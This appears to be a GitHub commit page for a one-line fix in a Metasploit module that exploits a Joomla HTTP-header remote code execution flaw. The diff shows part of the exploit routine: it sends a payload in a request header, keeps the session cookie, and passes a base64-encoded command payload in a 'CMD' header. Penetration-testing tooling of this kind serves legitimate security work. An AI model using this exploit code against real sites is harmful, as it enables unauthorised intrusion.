We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 2e54cd2 commit c2795d5Copy full SHA for c2795d5
modules/exploits/multi/http/joomla_http_header_rce.rb
@@ -120,13 +120,13 @@ def exploit
120
print_status("Sending payload ...")
121
res = send_request_cgi({
122
'method' => 'GET',
123
- 'uri' => target_uri.to_s,
+ 'uri' => target_uri.path,
124
'headers' => { datastore['HEADER'] => get_payload }
125
})
126
session_cookie = res.get_cookies
127
128
129
130
'cookie' => session_cookie,
131
'headers' => {
132
'CMD' => Rex::Text.encode_base64(payload.encoded)
0 commit comments